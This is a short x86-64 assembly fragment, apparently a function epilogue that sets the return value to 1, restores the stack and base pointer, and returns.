mov eax, 1
add rsp, 0x20
pop rbp
ret